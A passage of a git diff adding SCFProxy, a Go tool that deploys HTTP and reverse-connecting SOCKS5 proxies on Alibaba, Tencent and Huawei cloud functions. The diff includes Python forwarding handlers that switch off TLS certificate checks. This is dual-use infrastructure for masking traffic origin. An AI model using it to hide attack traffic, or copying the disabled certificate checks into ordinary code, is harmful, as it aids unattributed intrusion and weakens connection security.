*config.ProviderConfig) (sdk.Provider, error) { + c := config.ProviderCredentialByName(name) + ak := c.AccessKeyId + sk := c.AccessKeySecret + switch name { + case "alibaba": + accountId := c.AccountId + return alibaba.New(ak, sk, accountId, region) + //case "huawei": + // return huawei.New(ak, sk, region), nil + case "tencent": + return tencent.New(ak, sk, region) + default: + return nil, nil + } +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..2ec06a8 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,62 @@ +package cmd + +import ( + "os" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/shimmeris/SCFProxy/cmd/config" + "github.com/shimmeris/SCFProxy/fileutil" +) + +const version = "0.1.0" + +var debug bool + +var rootCmd = &cobra.Command{ + Use: "scfproxy", + Short: "scfproxy is a tool that implements multiple proxies based on cloud functions and API gateway functions provided by various cloud providers", + Long: ` +███████╗ ██████╗███████╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ +██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ +███████╗██║ █████╗ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ +╚════██║██║ ██╔══╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ +███████║╚██████╗██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ +╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ + https://github.com/shimmeris/SCFProxy + +scfproxy is a tool that implements multiple proxies based on cloud functions and API gateway functions provided by various cloud providers +`, + Version: version, + RunE: func(cmd *cobra.Command, args []string) error { + if !fileutil.PathExists(config.ProviderConfigPath) { + f, err := os.Create(config.ProviderConfigPath) + defer f.Close() + if err != nil { + return err + } + if _, err := f.Write([]byte(config.ProviderConfigContent)); err != nil { + return err + } + logrus.Printf("credential config file has been generated in %s", config.ProviderConfigPath) + } + + return cmd.Help() + }, + PersistentPreRun: func(cmd *cobra.Command, args []string) { + if debug { + logrus.SetLevel(logrus.TraceLevel) + } + }, +} + +func init() { + rootCmd.PersistentFlags().BoolVar(&debug, "debug", false, "set debug log level") +} + +func Execute() { + if err := rootCmd.Execute(); err != nil { + logrus.Fatal(err) + } +} diff --git a/cmd/socks.go b/cmd/socks.go new file mode 100644 index 0000000..939e76b --- /dev/null +++ b/cmd/socks.go @@ -0,0 +1,37 @@ +package cmd + +import ( + "errors" + "fmt" + + "github.com/spf13/cobra" + + "github.com/shimmeris/SCFProxy/socks" +) + +var socksCmd = &cobra.Command{ + Use: "socks", + Short: "Start socks proxy", + RunE: func(cmd *cobra.Command, args []string) error { + lp, _ := cmd.Flags().GetString("lp") + sp, _ := cmd.Flags().GetString("sp") + key, _ := cmd.Flags().GetString("key") + if len(key) != socks.KeyLength { + return errors.New(fmt.Sprintf("key must be %d bytes", socks.KeyLength)) + } + socks.Serve(lp, sp, key) + return nil + }, +} + +func init() { + rootCmd.AddCommand(socksCmd) + + socksCmd.Flags().StringP("lp", "l", "", "listen port for client socks5 connection") + socksCmd.Flags().StringP("sp", "s", "", "listen port for cloud function's connection") + socksCmd.Flags().StringP("key", "k", "", "8-bytes string used to verify that the connection initiated to [-s port] is from the cloud function") + socksCmd.MarkFlagRequired("lp") + socksCmd.MarkFlagRequired("sp") + socksCmd.MarkFlagRequired("key") + +} diff --git a/fileutil/file.go b/fileutil/file.go new file mode 100644 index 0000000..93a0804 --- /dev/null +++ b/fileutil/file.go @@ -0,0 +1,18 @@ +package fileutil + +import ( + "errors" + "log" + "os" +) + +func PathExists(path string) bool { + if _, err := os.Stat(path); err == nil { + return true + } else if errors.Is(err, os.ErrNotExist) { + return false + } else { + log.Fatal(err) + return false + } +} diff --git a/fileutil/zip.go b/fileutil/zip.go new file mode 100644 index 0000000..0ae06b0 --- /dev/null +++ b/fileutil/zip.go @@ -0,0 +1,40 @@ +package fileutil + +import ( + "archive/zip" + "bytes" + "encoding/base64" + + "github.com/sirupsen/logrus" +) + +func CreateZipBase64(filename string, content []byte) string { + buf := new(bytes.Buffer) + + zw := zip.NewWriter(buf) + fw, err := zw.CreateHeader(&zip.FileHeader{ + CreatorVersion: 3 << 8, // indicates Unix + ExternalAttrs: 0777 << 16, // -rwxrwxrwx file permissions + Name: filename, + Method: zip.Deflate, + }) + if err != nil { + logrus.Error(err) + } + _, err = fw.Write(content) + if err != nil { + logrus.Error(err) + } + //fw, err := zw.Create(filename) + //if err != nil { + // logrus.Error(err) + //} + //n, err := fw.Write(content) + //if err != nil { + // logrus.Error(n, err) + //} + + zw.Close() + return base64.StdEncoding.EncodeToString(buf.Bytes()) + +} diff --git a/function/code.go b/function/code.go new file mode 100644 index 0000000..502b874 --- /dev/null +++ b/function/code.go @@ -0,0 +1,22 @@ +package function + +import _ "embed" + +// compile socks code with `GOOS=linux GOARCH=amd64 go build main.go` + +var ( + //go:embed http/tencent.py + TencentHttpCode []byte + + //go:embed http/alibaba.py + AlibabaHttpCode []byte + + //go:embed http/huawei.py + HuaweiHttpCode []byte + + //go:embed socks/tencent + TencentSocksCode []byte + + //go:embed socks/alibaba + AlibabaSocksCode []byte +) diff --git a/function/http/alibaba.py b/function/http/alibaba.py new file mode 100644 index 0000000..2126a8d --- /dev/null +++ b/function/http/alibaba.py @@ -0,0 +1,31 @@ +# -*- coding: utf8 -*- +import json +from base64 import b64decode, b64encode + +import urllib3 + + +def handler(environ: dict, start_response): + try: + request_body_size = int(environ.get('CONTENT_LENGTH', 0)) + except (ValueError): + request_body_size = 0 + request_body = environ['wsgi.input'].read(request_body_size) + + kwargs = json.loads(request_body.decode("utf-8")) + kwargs['body'] = b64decode(kwargs['body']) + + http = urllib3.PoolManager(cert_reqs="CERT_NONE", assert_hostname=False) + # Prohibit automatic redirect to avoid network errors such as connection reset + r = http.request(**kwargs, retries=False, decode_content=False) + + response = { + "headers": {k.lower(): v.lower() for k, v in r.headers.items()}, + "status_code": r.status, + "content": b64encode(r._body).decode('utf-8') + } + + status = '200 OK' + response_headers = [('Content-type', 'text/json')] + start_response(status, response_headers) + return [json.dumps(response)] \ No newline at end of file diff --git a/function/http/huawei.py b/function/http/huawei.py new file mode 100644 index 0000000..607be8f --- /dev/null +++ b/function/http/huawei.py @@ -0,0 +1,30 @@ +# -*- coding: utf8 -*- +import json +from base64 import b64decode, b64encode + +import urllib3 + + +def handler(event: dict, context: dict): + data = b64decode(event["body"]).decode() + + kwargs = json.loads(data) + kwargs["body"] = b64decode(kwargs["body"]) + print(kwargs) + + http = urllib3.PoolManager(cert_reqs="CERT_NONE", assert_hostname=False) + + r = http.request(**kwargs, retries=False, decode_content=False) + + response = { + "headers": {k.lower(): v.lower() for k, v in r.headers.items()}, + "status_code": r.status, + "content": b64encode(r._body).decode("utf-8"), + } + + return { + "isBase64Encoded": False, + "statusCode": 200, + "headers": {}, + "body": json.dumps(response), + } \ No newline at end of file diff --git a/function/http/tencent.py b/function/http/tencent.py new file mode 100644 index 0000000..2cc3c98 --- /dev/null +++ b/function/http/tencent.py @@ -0,0 +1,29 @@ +# -*- coding: utf8 -*- +import json +import urllib3 +from base64 import b64decode, b64encode + + +def handler(event: dict, context: dict): + data = event["body"] + kwargs = json.loads(data) + kwargs['body'] = b64decode(kwargs['body']) + + http = urllib3.PoolManager(cert_reqs="CERT_NONE", assert_hostname=False) + # Prohibit automatic redirect to avoid network errors such as connection reset + r = http.request(**kwargs, retries=False, decode_content=False) + + headers = {k.lower(): v.lower() for k, v in r.headers.items()} + + response = { + "headers": headers, + "status_code": r.status, + "content": b64encode(r._body).decode('utf-8') + } + + return { + "isBase64Encoded": False, + "statusCode": 200, + "headers": {}, + "body": json.dumps(response) + } \ No newline at end of file diff --git a/function/socks/alibaba b/function/socks/alibaba new file mode 100755 index 0000000..70d4804 Binary files /dev/null and b/function/socks/alibaba differ diff --git a/function/socks/pkg/alibaba/main.go b/function/socks/pkg/alibaba/main.go new file mode 100644 index 0000000..0788fd5 --- /dev/null +++ b/function/socks/pkg/alibaba/main.go @@ -0,0 +1,29 @@ +package main + +import ( + "encoding/base64" + "encoding/json" + + "github.com/aliyun/fc-runtime-go-sdk/events" + "github.com/aliyun/fc-runtime-go-sdk/fc" + + "socks/server" +) + +func HandleRequest(event events.TimerEvent) error { + opts := &server.Options{} + message, err := base64.StdEncoding.DecodeString(*event.Payload) + if err != nil { + return err + } + if err := json.Unmarshal(message, opts); err != nil { + return err + } + + server.Run(opts) + return nil +} + +func main() { + fc.Start(HandleRequest) +} diff --git a/function/socks/pkg/go.mod b/function/socks/pkg/go.mod new file mode 100644 index 0000000..a67b62b --- /dev/null +++ b/function/socks/pkg/go.mod @@ -0,0 +1,12 @@ +module socks + +go 1.19 + +require ( + github.com/aliyun/fc-runtime-go-sdk v0.2.7 + github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 + github.com/hashicorp/yamux v0.1.1 + github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6 +) + +require golang.org/x/net v0.2.0 // indirect diff --git a/function/socks/pkg/go.sum b/function/socks/pkg/go.sum new file mode 100644 index 0000000..557915c --- /dev/null +++ b/function/socks/pkg/go.sum @@ -0,0 +1,74 @@ +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/HdrHistogram/hdrhistogram-go v1.1.2/go.mod h1:yDgFjdqOqDEKOvasDdhWNXYg9BVp4O+o5f6V/ehm6Oo= +github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/aliyun/fc-runtime-go-sdk v0.2.7 h1:TzQA6XqejQDA411Vf9YcmUM3EWWbC4xl7nIKQSpqx8M= +github.com/aliyun/fc-runtime-go-sdk v0.2.7/go.mod h1:VI001M+h9Ka4s6Luk53F17hd65RJ9qD5t7Gbeq9ISYU= +github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= +github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= +github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= +github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= +github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= +github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6 h1:5owXVztD4wNP6bhJzA5UNQyYsIKk5YWbA2EJnnMD/sg= +github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6/go.mod h1:K3DbqPpP2WE/9MWokWWzgFZcbgtMb9Wd5CYk9AAbEN8= +github.com/uber/jaeger-client-go v2.30.0+incompatible/go.mod h1:WVhlPFC8FDjOFMMWRy2pZqQJSXxYSwNYOkTr/Z6d3Kk= +github.com/uber/jaeger-lib v2.4.1+incompatible/go.mod h1:ComeNDZlWwrWnDv8aPp0Ba6+uUTzImX/AauajbLI56U= +github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= +go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gonum.org/v1/gonum v0.0.0-20180816165407-929014505bf4/go.mod h1:Y+Yx5eoAFn32cQvJDxZx5Dpnq+c3wtXuadVZAcxbbBo= +gonum.org/v1/gonum v0.8.2/go.mod h1:oe/vMfY3deqTw+1EZJhuvEW2iwGF1bW9wwu7XCu0+v0= +gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw= +gonum.org/v1/plot v0.0.0-20190515093506-e2840ee46a6b/go.mod h1:Wt8AAjI+ypCyYX3nZBvf6cAIx93T+c/OS2HFAYskSZc= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/function/socks/pkg/server/proxy.go b/function/socks/pkg/server/proxy.go new file mode 100644 index 0000000..f7d00ff --- /dev/null +++ b/function/socks/pkg/server/proxy.go @@ -0,0 +1,77 @@ +package server + +import ( + "fmt" + "log" + "net" + "strings" + "time" + + "github.com/armon/go-socks5" + "github.com/hashicorp/yamux" +) + +type Options struct { + Key string + Addr string + Auth string +} + +func Run(opts *Options) { + user, pass := "", "" + + userpass := strings.SplitN(opts.Auth, ":", 2) + if len(userpass) == 2 { + user, pass = userpass[0], userpass[1] + } + + socksServer := createSocks5(user, pass) + for { + conn := keepConnect(opts.Addr, opts.Key) + session, err := yamux.Server(conn, nil) + if err != nil { + continue + } + for { + stream, err := session.Accept() + if err != nil { + break + } + go func() { + err := socksServer.ServeConn(stream) + if err != nil { + fmt.Println(err) + } + }() + } + } +} + +func createSocks5(username, password string) *socks5.Server { + conf := &socks5.Config{} + if username == "" && password == "" { + conf.AuthMethods = []socks5.Authenticator{socks5.NoAuthAuthenticator{}} + } else { + cred := socks5.StaticCredentials{username: password} + conf.Credentials = cred + } + server, err := socks5.New(conf) + if err != nil { + log.Fatal(err) + } + return server +} + +func keepConnect(addr, key string) net.Conn { + for i := 0; i < 5; i++ { + conn, err := net.Dial("tcp", addr) + if err != nil { + time.Sleep(5 * time.Second) + fmt.Println("Reconnecting") + continue + } + conn.Write([]byte(key)) + return conn + } + return nil +} diff --git a/function/socks/pkg/tencent/main.go b/function/socks/pkg/tencent/main.go new file mode 100644 index 0000000..fd8846f --- /dev/null +++ b/function/socks/pkg/tencent/main.go @@ -0,0 +1,29 @@ +package main + +import ( + "encoding/base64" + "encoding/json" + + "github.com/tencentyun/scf-go-lib/cloudfunction" + "github.com/tencentyun/scf-go-lib/events" + + "socks/server" +) + +func handler(event events.TimerEvent) error { + opts := &server.Options{} + message, err := base64.StdEncoding.DecodeString(event.Message) + if err != nil { + return err + } + if err := json.Unmarshal(message, opts); err != nil { + return err + } + + server.Run(opts) + return nil +} + +func main() { + cloudfunction.Start(handler) +} diff --git a/function/socks/tencent b/function/socks/tencent new file mode 100755 index 0000000..66a0349 Binary files /dev/null and b/function/socks/tencent differ diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..097336f --- /dev/null +++ b/go.mod @@ -0,0 +1,53 @@ +module github.com/shimmeris/SCFProxy + +go 1.19 + +require ( + github.com/alibabacloud-go/darabonba-openapi/v2 v2.0.2 + github.com/alibabacloud-go/fc-open-20210406 v1.1.14 + github.com/alibabacloud-go/tea v1.1.20 + github.com/alibabacloud-go/tea-utils/v2 v2.0.1 + github.com/google/martian/v3 v3.3.2 + github.com/hashicorp/yamux v0.1.1 + github.com/huaweicloud/huaweicloud-sdk-go-v3 v0.1.7 + github.com/olekukonko/tablewriter v0.0.5 + github.com/pelletier/go-toml v1.9.5 + github.com/sirupsen/logrus v1.9.0 + github.com/spf13/cobra v1.6.1 + github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway v1.0.556 + github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.556 + github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf v1.0.556 + golang.org/x/exp v0.0.0-20221211140036-ad323defaf05 +) + +require ( + github.com/alibabacloud-go/alibabacloud-gateway-fc-util v0.0.6 // indirect + github.com/alibabacloud-go/alibabacloud-gateway-spi v0.0.4 // indirect + github.com/alibabacloud-go/debug v0.0.0-20190504072949-9472017b5c68 // indirect + github.com/alibabacloud-go/endpoint-util v1.1.1 // indirect + github.com/alibabacloud-go/openapi-util v0.1.0 // indirect + github.com/alibabacloud-go/tea-utils v1.4.5 // indirect + github.com/alibabacloud-go/tea-xml v1.1.2 // indirect + github.com/aliyun/credentials-go v1.2.4 // indirect + github.com/clbanning/mxj/v2 v2.5.7 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/kr/text v0.2.0 // indirect + github.com/mattn/go-runewidth v0.0.14 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/rivo/uniseg v0.4.3 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/stretchr/testify v1.8.1 // indirect + github.com/tjfoc/gmsm v1.4.1 // indirect + golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect + golang.org/x/net v0.4.0 // indirect + golang.org/x/sys v0.3.0 // indirect + golang.org/x/text v0.5.0 // indirect + google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e // indirect + google.golang.org/grpc v1.50.1 // indirect + google.golang.org/protobuf v1.28.1 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..5791a23 --- /dev/null +++ b/go.sum @@ -0,0 +1,262 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/alibabacloud-go/alibabacloud-gateway-fc-util v0.0.6 h1:b0SCK7Y4WUllc8podpyYA7LE665irOzxcr+KLHRHSII= +github.com/alibabacloud-go/alibabacloud-gateway-fc-util v0.0.6/go.mod h1:H0RPHXHP/ICfEQrKzQcCqXI15jcV4zaDPCOAmh3U9O8= +github.com/alibabacloud-go/alibabacloud-gateway-spi v0.0.4 h1:iC9YFYKDGEy3n/FtqJnOkZsene9olVspKmkX5A2YBEo= +github.com/alibabacloud-go/alibabacloud-gateway-spi v0.0.4/go.mod h1:sCavSAvdzOjul4cEqeVtvlSaSScfNsTQ+46HwlTL1hc= +github.com/alibabacloud-go/darabonba-openapi/v2 v2.0.1/go.mod h1:5JHVmnHvGzR2wNdgaW1zDLQG8kOC4Uec8ubkMogW7OQ= +github.com/alibabacloud-go/darabonba-openapi/v2 v2.0.2 h1:2kR1YkvQloHUstmPcG0Sjk24zTKbza7izzJfJNwBFSs= +github.com/alibabacloud-go/darabonba-openapi/v2 v2.0.2/go.mod h1:5JHVmnHvGzR2wNdgaW1zDLQG8kOC4Uec8ubkMogW7OQ= +github.com/alibabacloud-go/debug v0.0.0-20190504072949-9472017b5c68 h1:NqugFkGxx1TXSh/pBcU00Y6bljgDPaFdh5MUSeJ7e50= +github.com/alibabacloud-go/debug v0.0.0-20190504072949-9472017b5c68/go.mod h1:6pb/Qy8c+lqua8cFpEy7g39NRRqOWc3rOwAy8m5Y2BY= +github.com/alibabacloud-go/endpoint-util v1.1.0/go.mod h1:O5FuCALmCKs2Ff7JFJMudHs0I5EBgecXXxZRyswlEjE= +github.com/alibabacloud-go/endpoint-util v1.1.1 h1:ZkBv2/jnghxtU0p+upSU0GGzW1VL9GQdZO3mcSUTUy8= +github.com/alibabacloud-go/endpoint-util v1.1.1/go.mod h1:O5FuCALmCKs2Ff7JFJMudHs0I5EBgecXXxZRyswlEjE= +github.com/alibabacloud-go/fc-open-20210406 v1.1.14 h1:avhpcxvdwexER2S1buxgnYoEq+/rWX3iMCgP3EZZz+E= +github.com/alibabacloud-go/fc-open-20210406 v1.1.14/go.mod h1:M3vmom/tsiVbnIBBZshm8JBXcniX9Ryek3NFX2Q95dg= +github.com/alibabacloud-go/openapi-util v0.0.11/go.mod h1:sQuElr4ywwFRlCCberQwKRFhRzIyG4QTP/P4y1CJ6Ws= +github.com/alibabacloud-go/openapi-util v0.1.0 h1:0z75cIULkDrdEhkLWgi9tnLe+KhAFE/r5Pb3312/eAY= +github.com/alibabacloud-go/openapi-util v0.1.0/go.mod h1:sQuElr4ywwFRlCCberQwKRFhRzIyG4QTP/P4y1CJ6Ws= +github.com/alibabacloud-go/tea v1.1.0/go.mod h1:IkGyUSX4Ba1V+k4pCtJUc6jDpZLFph9QMy2VUPTwukg= +github.com/alibabacloud-go/tea v1.1.7/go.mod h1:/tmnEaQMyb4Ky1/5D+SE1BAsa5zj/KeGOFfwYm3N/p4= +github.com/alibabacloud-go/tea v1.1.8/go.mod h1:/tmnEaQMyb4Ky1/5D+SE1BAsa5zj/KeGOFfwYm3N/p4= +github.com/alibabacloud-go/tea v1.1.17/go.mod h1:nXxjm6CIFkBhwW4FQkNrolwbfon8Svy6cujmKFUq98A= +github.com/alibabacloud-go/tea v1.1.19/go.mod h1:nXxjm6CIFkBhwW4FQkNrolwbfon8Svy6cujmKFUq98A= +github.com/alibabacloud-go/tea v1.1.20 h1:wFK4xEbvGYMtzTyHhIju9D7ecWxvSUdoLO6y4vDLFik= +github.com/alibabacloud-go/tea v1.1.20/go.mod h1:nXxjm6CIFkBhwW4FQkNrolwbfon8Svy6cujmKFUq98A= +github.com/alibabacloud-go/tea-utils v1.3.1/go.mod h1:EI/o33aBfj3hETm4RLiAxF/ThQdSngxrpF8rKUDJjPE= 